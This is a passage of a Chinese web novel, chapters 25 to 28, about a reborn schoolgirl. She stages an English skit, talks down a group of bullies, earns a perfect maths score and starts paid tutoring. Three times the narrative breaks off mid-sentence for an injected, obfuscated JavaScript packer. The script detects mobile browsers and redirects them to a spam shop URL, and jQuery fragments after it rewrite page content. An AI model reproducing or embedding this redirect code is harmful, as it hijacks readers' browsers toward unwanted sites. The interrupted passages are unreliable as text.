程守萍在众人的笑声中朝张佑军伸手:“给我试试。” 张佑军摘下墨镜给她。 她把墨镜插入耳后,接着向上推,像头箍一样戴在头顶,再往前略微推一下,让几缕碎发随意地落在额前。 蔡琳玲瞪大眼惊呼:“天哪!你这样的戴法好时髦!我在外国电影的海报上看到过!” 她一击掌:“萍萍,这个外国友人你来演吧,你演最合适!都不用戴假发了,就把墨镜这么一架,穿件洋气点的衣服,开口就是英文,谁都不会怀疑你不是外国人。外国人也有黑头发的呀。” 程守萍看向沈继舟,毕竟一开始定下来的,是他演这个角色,要换也要看他的意见。 沈继舟望着她微笑:“我也觉得你来演这个角色更合适。” 换沈继舟来演帮忙翻译的学生,倒是本色演出,根本不需要任何道具或修饰。 只是程守萍和沈继舟的台词就要对换了,导致她要重新背台词。但她本就是抱着学英语的态度去看待这件事,倒也没有觉得之前的台词白背了。 至于那个被问路又不明所以的路人,张佑军和王新宇都试着演过,张佑军肢体语言更丰富,也更滑稽搞笑,就定下由他来演。 他们的短剧排成功后,先在班会课上表演。讲台被挪到一旁贴墙放,空出地方让他们表演。 程守萍扮演的是外国摄影家,想要寻找风景优美的地方拍摄。 沈继舟本想把家里那台相机借来演出。程守萍觉得相机太贵重,万一排练或演出的时候磕坏了就不好了,就让梁凯照着画片上的相机画了一个,贴在硬纸板上剪下来,穿上黑色的绳带挂脖子上。 她走在路上,目光来回搜寻着周围的景致,时不时端起“相机”,“咔嚓”一张。 张佑军从对面走来,穿着个围裙,手里提着菜篮,里面装着的菜蔬和鱼也都是画在硬纸板上的。 “Excuseme……”程守萍朝他招手。 “什么米?不买不买。”张佑军不屑一顾地挥挥手,举起手里的菜篮给她看,“买够啦!” 台下有笑声响起。 25. 【化浓妆】 程守萍又问他:“DoyouunderstandEnglish?” 张佑军“哦”了一声,明白过来:“外国人啊。” 他挠了几下头,开始向她比划:“大使馆,往那里走,很远很远,要坐车。” 看他比划的那几下,程守萍茫然地摇着头说:“Sorry,Idon''tfollowyou.” 张佑军又反复比划更夸张的动作。程守萍就更茫然了。 这时就轮到沈继舟上场了。他上前用流利的英语打招呼。 程守萍惊喜万分,回了句英语。 沈继舟对张佑军说:“她说她想要找风景好的地方拍摄。” “哦。”张佑军恍然大悟,又纳闷地问他,“那你就告诉她呗。” “我是最近才转学过来的,对附近还不太熟悉。”沈继舟解释道。 “是这样啊。那我来告诉你吧,要说风景好的地方嘛……”张佑军说了一个地方,接着介绍要怎么去那里,“先往这个方向直走,到路口左转……” 此时梁凯和王新宇上场。 梁凯举着画了景点的硬纸板。王新宇则按照张佑军此时对应的指示来演,脸朝“景点”原地小跑代表前进,转向观众原地小跑代表此时应左转。 这段戏是程守萍提议加的,她觉得光是他们三人站着对话比较沉闷,大家还是更爱看有动作表演的桥段。排练时试了试,大家都觉得效果不错,就加上了。 沈继舟掏出笔记本,记下张佑军所说,翻译成英文,撕下这页纸给程守萍:“Youmightwanttocheckoutthisplace,I’veheardthesceneryisabsolutelybeautiful.” “Thankyou!It’ssoluckytomeetyoutoday.”程守萍高兴地与他握了握手,说想要拍一张他的照片留作纪念。 沈继舟点头答应了。 就在她要按下快门的瞬间,张佑军抢进镜头内,包括演“景点”的梁凯和“人肉导航”的王新宇,全都挤在沈继舟身边凹造型,拍了一张非常搞笑的合影。 短剧演出效果非常好,过程中同学们笑声不断,连陈老师也被逗笑了好几次。 最后的合影造型摆出来后,其余小组成员分两边站成一排,向大家鞠躬致意。 陈老师鼓起掌来,教室里随之响起热烈的掌声。 之后其他同学也表演了合唱或舞蹈,甚至还有个口琴独奏的。 全部表演完成后,陈老师让大家举手投票,最后是程守萍这组的双语小短剧获得了最多票数,成为他们班级在校元旦文艺汇演上的代表节目。 既然要在全校师生前表演,很多地方需要更精细地打磨。 大家都充满了干劲。之前为了赶工,道具做得比较粗糙,梁凯和周亦欣、王向珊一起把部分道具重新绘制或制作。 沈继舟则把大家现场表演时临时发挥的一些亮点加进剧本,成为固定表演的内容。 最后定稿的剧本里,梁凯和王新宇的那段戏又再加了一段,喜剧效果变得更强了。 当张佑军说右转的时候,王新宇要故意搞错成左转,这样经过两次左转,王新宇就变成背朝“景点”在跑了。 这时梁凯举高道具牌子,假装去打王新宇,王新宇一脸莫名地看看周围,当他看到“景点”时,才突然醒悟自己跑错方向了,急忙转身朝“景点”跑去。 新道具制作完成后,小组成员每个星期天都要到梁凯家集合,在楼下排练短剧。 程根生便拜托樊美娟星期天带一下宏宏。 樊美娟一听缘由,笑得眉飞色舞:“萍萍哪能这么能干的,要代表班级去文艺汇演啊?老程你怎么在厂里都不说的?要换作是我,早就让全车间都知道我女儿要上台演出了。不过现在也不晚,我明天就要去办公室宣传宣传这个喜事。萍萍已经正经拜我做过房姆妈了,干女儿这么优秀,我这个姆妈脸上也有光啊!” 程根生也不说话,只呵呵地笑。 忙碌中时间过得飞快,转眼到了12月31日。 一大清早,程守萍就赶到学校,参加文艺汇演的彩排。 大礼堂的后台挤满了今天要表演的学生,四(3)班的师生们找了块靠墙的地方,便于他们临时摆放大型背景板。 等待上台的时候,陈老师为他们加油打气:“你们的短剧很精彩,大家都会喜欢的。只要像之前那次在班会课上的表演一样就行。” 美术老师则依次给他们上舞台妆。不论男女都涂一脸厚粉,画上浓重的眼妆,还涂了鲜红的口红。 沈继舟看不到自己的脸,但只要看看别人就知道自己这会儿是什么模样。 他转眸去看程守萍,这会儿美术老师还没画到她,她脸上仍是干干净净的,清秀的两弯长眉,总是若有所思的澄澈双眸,高挺的鼻梁下是对有点肉肉的嘴唇,粉润饱满。 她似乎注意到了他的目光,抬眼向他看过来。 沈继舟急忙转身,面对着墙壁假装背台词。他不想被她看到自己现在的模样,至少在她被化上同样浓妆之前不行。 程守萍瞄到了沈继舟的小动作,忽然产生一个想法,就算他现在脸红也看不出来,因为脸上涂的粉太厚了。 她被自己这想法逗笑了。 然后就被美术老师拉过去上妆了。 因为要演外国友人,还被美术老师上了个深蓝色的眼影。 反正大家都一视同仁地被涂满厚重的舞台妆,也就不会尴尬,反而你看看我,我看看你,都觉得好笑得不得了。 只有沈继舟例外,他背对大家,试图偷偷把脸上的浓妆擦掉一些,被美术老师当场抓包。 美术老师赶紧给他补妆:“别擦,现在看着浓,上台后一打光就不浓了。不能乱擦知道吗?妆都糊掉了……” 之后沈继舟成了美术老师严防死守的对象,再也没能找到机会偷偷擦掉脸上的妆。 轮到四(3)班上去彩排。所有人都全身心地投入表演,加上还得留意自己的走位与站位,也就无心再去在意自己脸上的妆了。 彩排一切顺利,结束后经过短暂的休息,元旦文艺汇演就正式拉开了帷幕。 按照节目表上的顺序,四(3)班的表演在第七个,差不多在中间偏前一点的位置。 按陈老师的说法,这个顺序还挺不错。台下的师生之前连看好几个表演,全是合唱或舞蹈,他们表演的短剧,会让大家精神一振。而且顺序靠前的话,表演完就能回台下去看别人表演,不用一直在后台干等着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100531|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总算轮到第六个节目开演,下一个上场的就是他们。大家拿起自己的道具,彼此检查妆造与道具是否齐备。然后在舞台入口的过道内等候上场。 听着前台传来的歌唱声,程守萍用胳膊肘推了推沈继舟:“紧张吗?” 他回头,黑暗中只有那对眼眸反射着舞台上的灯光,如同折射着辉光的黑曜石。 他抿了抿唇,靠近她耳边小声说了句:“有点。” “吸气的时候慢慢地深吸,默数1……2……3……呼气的时候也默数4……5……6……”程守萍教他。 看他连做几个深呼吸后,她又说:“上去后别往台下看,如果需要往观众席的方向看的时候,把视线抬高几尺,看观众席的上方,把台下坐的那些人都当成假人、塑料模特。” 沈继舟轻轻笑了一声。 程守萍也笑了。 她其实和他一样紧张。毕竟在班级表演的时候,台下只有几十个人,而且都是相处好几年的熟悉面容。今天上台,要面对的可是好几百人,而且第一排的观众就是校领导和老师们。 借着和沈继舟说话,一起做深呼吸的练习,她也缓解了一部分紧张情绪。 随着热烈的掌声响起,表演大合唱的学生从舞台出口退场。 报幕的学生主持上场,说上几句过场话,介绍下一个节目:“接下来请大家欣赏,四年级(3)班的表演——英语短剧:问路。” 要上了! 程守萍深深吸了口气,迈上台阶,走进明亮的舞台光柱里。 短剧推进得非常顺利,得益于大家平时一次又一次的排练,所有的台词与动作都烂熟于心。一定要挑个缺点的话,就是大家都挺紧张的,以至于表演得比较赶。 但该抖的包袱还是抖出了效果,台下一阵阵的笑声传来,给了他们信心。 他们后半段的表演明显松弛许多,也带来了更多的笑声,最后的合影POSE一摆出来,笑声与自发的掌声先后响起。当全体列队鞠躬的时候,台下的掌声明显比之前几个节目的更为响亮热烈。 谢幕之后,他们依次退下舞台,所有人都兴奋得不行,哪怕粉再厚都盖不住激动的红晕,要不是怕影响舞台上后续的节目表演,真想放声地呐喊欢呼。 等在后台的蔡大导演有点酸:“早知道上台表演那么有趣,我就不当导演了。” 程守萍安慰她道:“要不是你当导演,我们的短剧也演不出那么多有趣的小细节。多亏有你,表演才能那么精彩,你属于幕后大功臣,下次如果还有机会演出,你应该出来和我们一起谢幕。” 有一说一,因为有蔡琳玲做“现场导演”,她从观众视角给他们提过不少好建议,有演得不好的地方她会直言不讳,有漏词的时候她会马上提醒,每次排练她都必然到场,花费的时间精力一点不少。所以当她无法上台,与他们一同接受观众掌声时,内心有点不平是情理之中的。 听到程守萍的安抚,蔡琳玲稍微好受了一些,加上她性格本就乐观开朗,很快就恢复了原先的状态。 在回观众席的路上,她提议等学校活动结束后大家一起去庆祝一下。 提议得到众人一致同意。 程守萍与蔡琳玲说笑几句,回头瞥了眼,没看到本来走在最后的沈继舟,不由诧异,这家伙跑哪儿去了? 26. 【坏小子们】 他们回到观众席,属于四(3)班的块区。 隔了一小段时间,沈继舟也回来了,程守萍一看他脸就知道,他跑去厕所把脸上的妆洗掉了,此时发梢上还滴着水! 她们脸上可还挂着浓妆呢,他倒好,自己一个人偷偷跑去洗脸了,这叛徒! 大礼堂里的文艺汇演结束后,大家排着队离开礼堂。 程守萍走在沈继舟身后,抬手在他耳朵上弹了一下。 “咝——”沈继舟捂着耳朵,回头惊讶地望着她。 “你为什么背着我们,自己一个人把脸洗了?” 沈继舟揉了揉耳朵:“我脸上太痒了,实在忍不下去……” 程守萍想他大概是不习惯化妆,皮肤起了反应,那好像确实不能怪他。 只是弹也弹了,总要有个说法。 她绷着脸说:“这是集体活动,你跑去洗脸至少要告诉我们一声吧?要让人知道你去了哪里,做什么,什么时候回来。不能这样无声无息地自己跑开。” 沈继舟听话地点点头:“嗯。” 程守萍无奈,怎么就这么乖呢,让人想生气都生不起来。 说话间两人已是并肩而行。瞧着他耳朵上红红的,她反倒生出些许歉意来,自然而然地抬手去摸了摸他耳朵:“疼吗?” 她是不是下手太重了? 沈继舟脸微微一红:“……不疼。” - 下午是各自班级的联欢会,一些没能在文艺汇演上表演的同学演出了自己准备好的节目,中间穿插着几个集体小游戏。 大概下午两点,联欢会结束,就此放学。 程守萍这组人一起去食品商店,凑钱买了鲜桔水和半斤杏元饼干来庆祝。 杏元饼干是种圆圆薄薄的小脆片,和一元硬币差不多大。中间略厚,因为加了鸡蛋而呈现淡淡的金黄色,边缘较薄,带着烤制后微焦的浅褐色,入口香甜松脆,细嚼有鸡蛋的香味。 半斤饼干也不少了,每个人都能分到一小把。 至于鲜桔水,名字里虽然有鲜桔两个字,其实没有半点果汁成分。外包装是软塑料管,做成可口可乐玻璃瓶那样的形状,内部灌装主要原料为水、糖精、色素与香精调配而成的饮料,喝完整条舌头都会变成橙黄色。 一人一支鲜桔水,用牙咬开头部的塑料软管,举起来互相碰杯。 “干杯!” 尽管鲜桔水配料低劣,就是支加了色素和香料的工业糖水,却并不妨碍他们享用它时快乐而欣喜的心情。 回家时程守萍和沈继舟同路。 一路走的时候,沈继舟还时不时从口袋里摸出一片杏元饼干放进嘴里。 他分到的饼干和大家是一样多的,别人几口就吃完了,他还一小片一小片地吃。以他的家境当然不至于因为平时吃不起,舍不得一下子吃完才吃得那么慢。 他纯粹就是把这当成了像糖果那样的小零食。 发现程守萍一直盯着他的目光后,沈继舟朝她递过来几片杏元饼干。 程守萍:“……”似乎是被误会了。 但略一迟疑后,她还是接过了他递来的饼干。 从后面走上来几个高年级学生,快步超越后拦在他们面前,堵住了去路。 她抬眸去看,是施建华。还有在摄山撞了她,前几天又抢过沈继舟书的那个男生。另外还有三四个同样高年级的学生,围在他们的左右与后方。 她把饼干收进了口袋,戒备地盯着施建华。 是偶遇还是一直跟着他们?不管是哪种,显然来者不善。 抢书的男生上回吃了亏,肯定想要找回场子,学校里不方便动手,就跟到了校外。施建华是来帮忙的,上次摄山相遇时也是他们这一群狐朋狗友。 这条街两边都是些机关单位,里面上班的人都是坐办公室的,又没到下班的时间,此时此刻路上看不到其他行人,也就没法向大人求助。 沈继舟也和她一样清楚眼前的事态。 他把双手揣进口袋,说:“你们要找的是我,和她没有关系,你们让她走。” 然后他眼睛盯着对面,略微偏转头,这句话是对她说的:“你先回家。” 施建华挑眉打量着程守萍,往旁边让开半个身位。 抢书的男生却有点不服气,上回两人在操场上打架时,有人往他屁股上重重踢了一脚,他虽然没看到是谁,但留在他裤子上的鞋印并不大,他怀疑就是这个女生踢的。 施建华见他不肯让开,皱眉道:“和一个女的计较什么?” 抢书的男生低哼一声,也让开了半个身位,反正沈继舟要一个人扛下来,他就把这笔账全算到沈继舟头上。 程守萍却站在原地没动。 沈继舟语气里带上几分焦灼,催促道:“你先走啊!” 程守萍看了他一眼,她怎么可能丢下他一个人逃走?就算她立即跑去找附近的大人来帮忙,少说也要花五到十分钟,万一没法马上找到人的话,就要拖得更久了。 她朝施建华扬起下颌:“你叫施建华,五年级(2)的学生。”再看向抢书的男生,“你叫彭昊然,和他同班。” 彭昊然算是施建华的发小,成年后两人也经常有来往。施建华参加小学同学会的时候喝得烂醉,就是彭昊然打车送他回来的,还自以为风趣地对她说了不少施建华小学时期的糗事。 她起初没有认出彭昊然,直到他在操场上来回跳着念那首打油诗的时候才想起他来。小学生和成年人相比,五官和身形都有极大的变化,但那副嬉皮塌脸的讨嫌模样,他从小到大都没变过。 她扫了眼剩下的几个男生,他们大概率都是施建华同班或同年级的学生。不过点出施彭两人的名字就够了。 施建华和彭昊然脸色都变了。 今天之前他们也不知道这两个学生是谁,只知道是同校生。今天在文艺汇演上,看了他们演的短剧才知道是四(3)班的学生。 彭昊然在离开大礼堂时特意跟在他们后面,听到一个大嗓门的女生喊她“萍萍”,喊男生“沈同学”。 可没想到这个“萍萍”对他们的底细那么清楚,连名带姓,还有班级都报出来了! 程守萍看到他们脸色的变化,心底暗暗冷笑:“你们今天打了我们,明天教导主任和你们的班主任严老师,还有你们的家长就会知道这件事。” 她看回施建华,表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104126|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似笑非笑:“为了替彭昊然出头,被你的爸爸用皮带抽一顿,值得吗?” 施建华的爸爸管教儿子的时候喜欢用皮带抽,最过分的一次甚至用上了皮带头。 他给她看过,被金属皮带头子硬生生刮掉一条皮肉留下的那道疤,那时候她还因此特别心疼他…… 啧,还是当时太年轻。 施建华惊疑不定地瞪着面前的女生,她怎么知道他爸爸揍他的时候喜欢用皮带?还是她胡乱瞎猜蒙到的? 但她说得也没错,彭昊然打架吃亏了,想找回面子,凭什么让他为此挨揍? 其他几个男生想法和施建华是一样的。本来看对方是低年级学生,又是人多对人少,轻轻松松就能按住这小子。可对方知道名字和班级就不好办了,施建华和彭昊然被抓到的话,他们一个都逃不掉! 彭昊然眼看着其他人都产生了退缩之意,顿时急了:“哎,你们,怎么不讲义气啊?” 程守萍冷笑一声:“义气?你让他们帮你的时候讲义气。他们挨家长揍的时候,你怎么不讲义气?你为什么不一个人把事情扛下来?为什么要拖累你朋友?” 彭昊然:“…………”总觉得她说的话哪里有点不对,但以他的脑子愣是想不出到底是哪里不对。 施建华和其他人都觉得这女生说得太对了,彭昊然自己打架打不过低年级学生,说丢人是真丢人,还想把事情搞大,拖累他们一起被老师批评,被家长揍,简直太没义气了! 你不过就是丢脸而已,我们可是要实打实挨揍的啊! 凭什么啊?! 程守萍拉着沈继舟从施建华一开始让出的那个空档走过去。 彭昊然看其他人都没动,他也怂了。第一次和沈继舟打架他就没打过,其他人不帮忙的情况下,他没把握打赢。 程守萍拉着沈继舟头也不回地快步走出这条街,转过弯是条双车道,有来往的行人。她这才回头看向背后。 施建华和彭昊然那群人转身往另一头走了。 她松了口气,看向沈继舟。 他满含疑惑地问她:“你是怎么知道他们名字的?还有班级?”甚至还有家长、班主任的情况。 程守萍想了想,说:“第一次在摄山被他们撞到的时候,我听见那个彭昊然喊施建华的名字,就记住了。之后彭昊然被你按倒在地上的时候,我听到旁边学生提起他的名字。” “我爸爸厂里有个同事,她家孩子也在我们小学读五年级。先前的两件事发生后,我猜彭昊然可能会带上朋友来找事。就让那个五年级学长帮忙,向他同年级的同学打听施建华和彭昊然,问到了他们的具体情况。” 沈继舟恍然,看向程守萍的眼神是由衷的钦佩,这就叫未雨绸缪吧。 程守萍心说这其实都是前世踩过的坑啊。但她只是笑着说了句:“多亏有我在吧,要不然你今天就要被人围殴了。以后咱们都别走这种没什么人的路了,尽量挑人多的街道走。” 沈继舟有些不好意思地点点头。 两人往前走了一段路,程守萍见他一直把手揣在口袋里不拿出来,不由奇怪,平时也不见他那么喜欢把手揣兜里啊。 “你手怎么了?” 27. 【100分】 程守萍见他一直把手揣在口袋里不拿出来,不由奇怪:“你的手怎么了?让我看看。” 沈继舟沉默片刻,才把手缓缓从口袋里抽出来。 程守萍没有看到明显外伤,托高他手掌,才发现指缝里全是碎饼干渣。她惊讶地望着他,然后突然明白过来。 他把口袋里的杏元饼干全捏碎了。 少年的脸上浮起明显的红晕:“我本来想,等你走了之后,朝后面的人眼睛里扔一把饼干渣,然后趁机朝反方向跑……” 好把他们都引开。 程守萍又觉感动,又有点好笑。 撒饼干渣约等于撒沙子,这招多半是从武侠小说里学来的,实不实用不好说,但他的心意与想法都是真挚的。 只不过她根本没跑,还说服施建华等人不要动手。 这少年白白捏碎了一口袋饼干,所以根本不好意思把手拿出来! 她拿出手帕给他:“擦擦手吧。” “我带着手帕的……”沈继舟低低嘀咕了句,但还是接过了她的手帕,低头擦手。 他之前正是用手帕包着饼干,此时那块手帕上的碎饼干渣比他手上的还多。 “下次你记住了,如果遇到这种情况,千万别轻易动手。如果我真的先跑开了,也是去找大人来帮忙。你应该要想办法拖延时间,保护好自己,在原地等着我找人回来,而不是马上动手……” 她絮絮叨叨地一通说教,少年咬着下唇,头也越垂越低。 她停下了,安静片刻,语气诚挚地说:“谢谢你。” 少年惊讶地抬眸看她,不明白她为何会谢他。 明明他什么都没做。明明他想要做的在她眼里都是错的。 可是程守萍也没说为了什么谢谢他,她只是转身继续往前走。 沈继舟追上她,看到了她脸上的笑容。他也无声地笑了,安静地与她并肩走。 - 元旦过后,很快就要期末考试了。 班里充斥着一种奇妙的氛围。 一方面是老师三天两头地提醒大家,快期末考试了,要好好听讲,认真复习,查遗补漏。另一方面是因为临近寒假与年节,期末考完就意味着假期的开启。 学生们既盼望着寒假的到来,又因为期末考试一天天逼近而紧张不已,压力倍增。 自从有了收录机之后,程守萍就不再每天去沈继舟家了。不过每周还是会有两到三次,两人要么去沈家,要么去程家一起听磁带跟读。 有人一起学习英语,可以互相督促鼓励,又隐隐有竞争之意,那就不会轻易松懈下来。 两人每次一起读英语的时候还要比比进度,程守萍若是在这周多背了一课,沈继舟非要在下次之前追上她或是超过她不可。 这种情况持续到期末考试前几周,程守萍提出不要再背新单词,分出更多时间来复习迎考。沈继舟也同意了。 每天重温与朗读还是必不可少的。只是在碰头的时候不仅仅是谈论英语了,有时候也会问问彼此复习的进度如何,有没有什么难题解决不了。 沈继舟在语文方面属于天才型选手,数学成绩却相当一般,可能是因为兴趣不在于此。 程守萍自己学有余力,又因为英语学习方面得到他很多帮助,就打算帮他把数学成绩提一下。 但是当她提出要他把这个学期的数学试卷找出来给她时,沈继舟却死活不肯。 程守萍大概能猜到是什么原因,便退而求其次,对他说:“你把做错的题抄下来给我总行吧?” 沈继舟沉默片刻,总算是点头了。 程守萍想了想,又道:“干脆把你练习卷上的,还有平时写作业做错的题也都抄上吧。” 隔了两天,沈继舟早晨到校后递给她一本练习簿,是他抄得工工整整的错题合集。 程守萍让他趁午休与课间的时候把这些题再做一遍,要像考试一样不能翻书,独立做完。全做完后她替他批改,其中大概三分之二的题还是做错了。 她根据他的这些错题,列出对应的知识点,让他针对这些薄弱知识点重点复习。与这些知识点对应的例题,则用本子盖住答案,自己独立做一遍。 然后根据原本的错题,再出几道同类型的题让他做,如果还有错,就先订正,再做题。 每次只攻克一个知识点,确保他完全掌握之后,再攻克下一个薄弱知识点。 蔡琳玲看着他们两个不停地出题刷题,不由咋舌:“你们学习学得这么热火朝天的,看得我心里也痒痒的。” 程守萍转手递给她一本题集。 蔡琳玲撸起袖子拿起笔,翻开第一页,看到上面密密麻麻的一题接着一题,立刻就萎了:“我想想还是算了,我不是你们这种天才,平凡才是人生的真谛。” - 期末考试结束后的第二天,语数两门学科的分数就出来了。 第一、二节课是数学卷分析,刘老师在讲台上报名字和分数,被叫到的同学上去领考卷。 从最低分开始报起。不及格到六十分档,七十分档……最后来到九十分档。 程守萍开始紧张起来,又抱着期待。 这一次她没有故意做错题,所有的题都是认真去答的,而且每一题她都会做。 对于最终会得多少分,她内心有份强烈的预感,但她不想提前说出来。 “沈继舟,97分。”刘老师对上台领试卷的沈继舟赞许地点点头,“你这学期进步非常大,希望你再接再励,争取更好的成绩。” 沈继舟偏科是老师们全都知道的,对于这种学生老师也很无奈,他不是学不好,就纯粹是不肯多花心思在不感兴趣的学科上。这次他数学考得这么好,刘老师非常意外,也很欣慰他终于肯花时间好好学数学了。 “……,99分。” 还剩最后一份试卷,刘老师拿起来,向来严肃的脸上浮起难得的微笑:“程守萍,100分。” 程守萍的心怦怦直跳,直到刘老师念出分数才落回原处。 蔡琳玲倒抽了口凉气:“你考了100分?” 同学们也纷纷回头看向她,目光中全是惊讶,仿佛难以置信刚才听到的是她的名字。 沈继舟倒是一点也不奇怪,在她家看到那本《小学高年级数学题选》的时候,他就知道她在暗地里有多用功。之后帮他复习数学的时候,更能看得出她的学科水平。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113350|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她考100分他并不意外,只觉是她应得的。 程守萍上去领试卷,先看卷子,确实看到了那三个鲜红的数字,才释然地笑了出来。 两辈子加起来的第一个100分,实在让她兴奋异常。 刘老师对全班说:“程守萍同学这个学期非常努力,老师都看在眼里。一分耕耘一分收获,只要努力就会有进步,你们要向她学习,也希望程守萍同学能继续保持这种学习劲头,带动大家共同进步。” 一回到座位上,蔡琳玲就抓住了程守萍的胳膊:“快让我看看,100分的试卷是怎样的?” 程守萍噗嗤笑了出来:“还能是怎样的?不就是全对嘛。” “啧啧,不就是全对嘛。你说得可轻巧!” 程守萍看向前排:“沈同学,你那3分扣在哪儿了?” 沈继舟把卷子给她。 程守萍看了看,是一道分数计算题,还是相应的知识点掌握得不够牢固。不过97分也属于考得很好了。她把试卷还给了沈继舟。 刘老师开始分析试卷,重点分析大家都错得比较多的题,讲解题思路和正确答案。 接下来的三四节课则是语文试卷分析。 语文程守萍也考得不错,拿了95分,阅读理解扣了1分,作文扣了4分。卷子到手,她不由暗暗感慨,语文的满分还真是难拿,尤其是作文满分更是难上加难。 但这对某些人来说却是手到擒来,她瞄了眼前排的少年。 沈继舟语文考了100分。这个学期末,他终于把书写分拿到手了。 - 学期的最后一天,陈老师召开班会,发放成绩报告单,总结一学期下来班级的各方面情况。重点当然还是在学习上。 成绩有相当大提升的两人再次受到表扬,陈老师还给他们两人加了一份特殊的寒假作业。 程守萍起先还以为是什么很难完成的事情,结果陈老师只是要他们写出自己的学习心得。关于心得,她期中考试之后就写过,这次只要再补充些新的心得就行。 班会结束后,大家进行期末大扫除,大扫除之后就可以解散回家。 寒假正式开启。 - 程守萍到厂里吃晚饭,迎面遇上了马冬兰。 “哎,萍萍。”马冬兰朝她走了过来,脸上堆起笑容,“你这次期末考试好像考得更好了啊!” 厂里看见小囡就喜欢问成绩的人不止马冬兰一个,加上她之前在食堂里闹得笑话,让很多本来和程根生不太熟悉的人都知道了老程的女儿成绩不错。 再加上樊美娟逢人就说,她过房女儿这次期末考得老好了,数学一百分哎! 所以期末分数出来后没几天,车间里全都知道了。 马冬兰当然也知道了。 程守萍本以为她会对此不屑一顾,或是假装没看见自己,直接从旁边走过去。没想到她会笑着拦住自己,主动提起考分这个话题。 她意外停步,看向马冬兰,没从她脸上看出讽刺或酸葡萄的迹象,虽说这个堆出来的笑容充满着虚情假意,但却是刻意示好的那种假笑。 她淡淡地“嗯”了一声,静等对方下文。 28. 【赚钱了】 马冬兰满脸堆笑地问:“萍萍,那么短的时间里,你成绩进步这么大,是不是有什么诀窍啊?” “诀窍就是认真学习。” 马冬兰尴尬地笑了两声:“萍萍,阿姨就和你直说了吧。你小军哥学习也挺认真的,就是成绩一直上不去。阿姨就想啊,寒假你也没什么事,正好教教你小军哥诀窍,怎么才能把成绩提上去。” 程守萍差点被她逗乐了,什么叫寒假没什么事,就算真闲得没事干,在家躺着睡觉也行啊。平时又没交情,又不赚钱,凭啥要花时间去教你家儿子提分的诀窍啊? 她本想随便找个借口拒绝的,但脑子里滑过去的最后一句话让她又多想了一层,不赚钱肯定不干,要是能赚钱呢? 她也就没有马上拒绝,朝马冬兰笑笑:“马阿姨,我想一下再回复你行不行。” “哎,萍萍你别想太久啊,早点告诉你阿姨啊!” 程守萍朝她挥挥手,转身往幼儿园走的时候,就开始琢磨起这个新出现的主意了。 因为马冬兰以前经常在她面前吹嘘王小军的分数,她很清楚他的成绩在哪个层次。经过这段时候帮沈继舟提分,她也有了一定的经验。 按厂子里一个普通工人的月工资来算,时薪大概是在两角钱。她就参考这个标准来收费好了。 在食堂吃晚饭的时候,程守萍向爸爸提及马冬兰的请求,不过没有提收费的事。 程根生看看她,多少有点讶异:“你真的愿意?” 他对马冬兰没啥好印象,那个女人以前明知萍萍考得不如小军,每次还要当众来问,难道萍萍不讨厌她吗? 程守萍微笑着点点头:“可以试试嘛。”但她可不知道马冬兰能不能接受付费这个条件。 果然,马冬兰一听她还要收钱,眼珠就瞪得快要掉出来了:“怎么还要钱呢?萍萍,你不就是带着小军一起学习吗,学生本来就应该学习的,你怎么能收钱啊?” 程守萍对于马冬兰的反应一点也不吃惊,把早就准备好的话术抛出去:“你不是请我去‘陪’他学习的,你是请我去教他学习的‘诀窍’。老师授课还拿工资呢,我给他上课怎么就不能收钱了?” “我怎么知道你是不是真的教小军‘诀窍’了呢?” “我教的时候你可以坐旁边看,我有没有教你看着还不知道吗?” “老师上课小军好歹学到东西了,你去教,怎么保证小军能学到东西呢?” “他听了那么多节老师的课,期末考了几分呢?” “你……” 马冬兰心说怎么以前没发现程家小囡那么能说会道呢,一句句把她堵得没话好讲。 可程家小囡这成绩像坐了火箭似的一飞冲天,那也是实打实的真本事。 小军去打听了,她是真得了100分,老师在班里表扬过了。小军还说肯定不是作弊得来的,因为全班就她一个100分,抄谁的卷子能抄出100分来?而且另外一门语文她也拿了高分,比她期中考试的时候又提高了好几分。 要是小军能学到她成绩提高的诀窍,哪怕只学到她的一半也能提很多分了。 程守萍见她迟疑,便说:“马阿姨,你要是不相信我,那这事就算了。我本来就懒得挣这几毛钱,你以前是怎么对我的你自己心里也有数。要不是看在我爸和你同事一场,你又挺着急小军成绩的份上,出再多钱我也不会把学习的窍门教给他的。我自己一个人考100分不美么?为啥要教会他?” 说完抬脚就走。 “哎,等等!”马冬兰问道,“上课钱,你要怎么个收法?” “一个小时三角钱,每次上两小时,隔天上还是每天上你选,但是隔天上效果肯定没有每天上课效果好。” “啊!怎么那么贵啊?”六角钱可以买大半斤猪肉或是七八个鸡蛋了!她上一天班也只有一块多钱。 马冬兰觉得肉疼了,她以前怎么没发现程家小囡这么辣手的,一开口就是六角钱一次,只上两小时的课。 